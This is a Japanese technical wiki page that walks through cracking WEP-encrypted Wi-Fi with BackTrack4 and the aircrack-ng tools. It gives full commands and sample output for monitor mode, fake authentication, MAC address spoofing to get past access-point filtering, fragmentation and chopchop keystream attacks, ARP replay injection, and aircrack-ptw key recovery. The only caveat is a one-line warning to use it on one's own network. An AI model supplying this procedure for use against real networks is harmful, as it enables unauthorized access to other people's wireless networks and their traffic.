Computer,OS,Linux,FreeBSD,Virtualization,Network,etc...
BackTrack_Tips » 無線LANクラック
下記を実施する場合、自分の無線LAN環境で行うこと。不正アクセス防止法で裁かれないように!
0.準備
今回はVMwareServer環境でBackTrack4を使う。また、無線LANは
BuffaloのUSBタイプの子機「WLI-U2-KG54L」を利用する。
・ゲストOS:BackTrack4を起動し、子機を挿す。
※あらかじめ、管理コンソールでUSBデバイスを追加しておく事
・VMware管理コンソールのデバイス追加アイコンでUSB子機に
チェックを入れる
※USBマークをクリックし、「Plugged into Host」の「MELCO USB2.0 WLAN」
にチェックをいれれば、ゲストOSから認識できる!
※Net上では「MELCO WLI-U2-KG54L」はモニターモードでは使えないとか
無線LANドライバを追加するとか古いネタやガセが多いが、BT4_Pre
では標準搭載ドライバ「zd1211rw」でカッチリ動作します!!
・USBタイプの無線LAN子機の確認
# lsusb
例.Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 002: ID 0411:00da MelCo., Inc. WLI-U2-KG54L 802.11bg (zd1211rw)
・無線LAN及びMACアドレスの確認
# ifconfig wlan0
例.HWaddr xx:xx:xx:xx:xx:xx(wlan0)
・モニターモードに変更
# airmon-ng start wlan0 [チャネル番号]
# ifconfig mon0
例.HWaddr xx:xx:xx:xx:xx:xx:xx:xx:00:00:00:00:00:00:00:00(mon0)
※利用チャンネルを変更する場合は下記コマンドを実施
# iwconfig mon0 channel 6
※利用チャンネルの確認・・・最終行のCurrent Frequencyで確認する
# iwlist mon0 channel
※モニターモードへの変更方法は無線LANドライバにより、各種方法がある模様...
--------------------------------------------------------
1.暗号化方式:WEPの場合
WEPのパスワード解読は"aircrack-ng"で800k、"aircrack-ptw"
で80kと言われているらしいので、まずはパケット収集から...
1-1.APでパケット数の判断(解析対象とする無線LAN_APの検索)
# airodump-ng --band bg mon0
・上記コマンド実行後、接続したいAPのPacketsを観察する。
・順調にPackets数が増えていれば、1-3へ
・あまりPackets数が増えなければ、1-2へ
※ここでのPackets数とは、正規の無線LANクライアント~AP間のARP接続要求パケットの事
※ESSIDが<length:12>などのようになっていたら正規のユーザが接続してくるまで待つ必要がある。
1-2.APでMACアドレス制限の有無判断
# aireplay-ng -1 0 -a BSSID -h 自機MACアドレス -e ESSID モニターNIC
※-a:ターゲットAPのBSSID=MACアドレス
-e:ターゲットAPのESSID
★アソシエーションに成功すると、「Association successful」と表示される、1-2-2.へ
★ここで「DeAssociation」と表示される場合は、APにMACアドレス制限ありのため、
自機MACアドレスを、適切なアドレスに変更する必要がある。
1-2-1.へ
1-2-1.APでMACアドレス制限ありの場合
・APは許可されたアダプタとしかassociateしない。
・有効なMACアドレスを自機NICに設定する(fakeauth)。
# ifconfig wlan0 down
# ifconfig mon0 down
# ifconfig wmaster0 down
# ifconfig wlan0 hw ether 接続許可のMACアドレス(yy:yy:yy:yy:yy:yy)
# airmon-ng stop wlan0
# airmon-ng stop wmaster0
# ifconfig wlan0 up
# airmon-ng start wlan0 [チャネル番号]
# aireplay-ng -1 30 -h 接続許可のMACアドレス -e ESSID モニターNIC
※上記成功すると、30秒毎にモニターNICがassociated状態になる。
この状態を保つために、コンソールはこのまま待機。
(sending keep alive packetを30秒毎に送り続ける)
※-1:オプションの引数は0より大きければいくつでもOK
・別ターミナルを開いて、1-2-2.へ
1-2-2.APでMACアドレス制限なしの場合
・associationの継続処理
associationは時間がたつと自動で解除されるので、定期的にassociation
する必要がある。
# aireplay-ng -1 30 -a BSSID -h 自機MACアドレス -e ESSID モニターNIC
※30:association間隔は30秒毎
※MACアドレス制限ありの場合は、-hの引数は「接続許可のMACアドレス」
・別ターミナルを開いて、2-1.へ
--------------------------------------------------------
2.パケット増殖方法
2-1.パケット数が多い場合
# aireplay-ng -3 -b BSSID -h 自機MACアドレス モニターNIC
3.へ
2-2.パケット数が少ない場合
2-2-1.fragmentation attackでキーストリームを「.xorファイル」に保存。
# aireplay-ng -5 -b BSSID -h 自機MACアドレス モニターNIC
※MACアドレス制限ありの場合は、-hの引数は「接続許可のMACアドレス」
2-2-3.へ
2-2-2.korek chop chop attackでキーストリームを「.xorファイル」に保存。
# aireplay-ng -4 -b BSSID -h 自機MACアドレス モニターNIC
2-2-3.へ
17:16:21 Waiting for beacon frame (BSSID: zz:zz:zz:zz:zz:zz) on channel 11
Read 14 packets...
Size: 162, FromDS: 1, ToDS: 1 (WEP)
・・・
Use this packet ? y
Saving chosen packet in replay_src-????-??????.cap
Offset 155 ( 4% done) | xor = 7D | pt = B7 | 256 frames written in 4368ms
Offset 154 ( 5% done) | xor = AE | pt = 31 | 554 frames written in 9406ms
・・・
Offset 34 (99% done) | xor = FB | pt = 08 | 160 frames written in 2718m Saving plaintext in replay_dec-????-??????.cap
Saving keystream in replay_dec-????-??????.xor
Completed in 231s (0.54 bytes/s)
【参考】 # man aireplay-ngより
-5(= --fragment) :fragmentation attack(パケットを分析)
-4(= --chopchop) :korek chop chop attack
-3(= --arpreplay) :classic ARP request replay attack
・・・ARPリクエストを送信し続けるだけで、arpリクエストパケットはinjectionしない
-2(= --interactive):パケット発生
-1(= --fakeauth) : fake authentication attack
2-2-3.パケット分析ファイル(.xor)を基にarp-request用データファイルを作成。
# packetforge-ng -0 -a BSSID -h 自機MACアドレス -k 255.255.255.255 -l 255.255.255.255 -y ???.xor -w 任意のファイル名
※MACアドレス制限ありの場合は、-hの引数は「接続許可のMACアドレス」
※-k:宛先IPアドレス、-l:送信元IPアドレス、-y:.xorファイル、-w:任意のファイル名
※-kと-lはブロードキャストアドレス等、適当でOK
2-2-4.へ
2-2-4.arpリクエストパケットのinjection(注入)
ARP接続要求パケットを増やす
# aireplay-ng -2 -r 任意のファイル名 モニターNIC
Use this packet ?
Saving chosen packet in replay_src-????-??????.cap
You should also start airodump-ng to capture replies.
別ターミナルを開いて、3.へ
--------------------------------------------------------
3.収集したパケットのファイル書き出し
# airodump-ng -c 6 --bssid BSSID -w 出力ファイル名 モニターNIC
※解析に必要なパケット数:64bitWEP(約4万パケット)、128bitWEP(約8万パケット)
4.インジェクション及び収集の中止
各ターミナルで「Ctrl + c」を入力
5.収集したパケットのパスワード解析[WEPキーの解析のみ]
# aircrack-ptw 出力ファイル名.cap
...パスワードがコンソールに表示される。
This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = zz:zz:zz:zz:zz:zz keyindex=0
stats for bssid zz:zz:zz:zz:zz:zz keyindex=0 packets=173204
Found key with len 05: aa aa aa aa aa
->上記のパスワードはHex形式
http://hogehoge.tk/tool/ Hex->ASCII変換する
http://homepage1.nifty.com/mstak/Computer/JavaScript/program-form2.html も参照
or
# aircrack-ng -z -b BSSID 出力ファイル名.cap
--------------------------------------------------------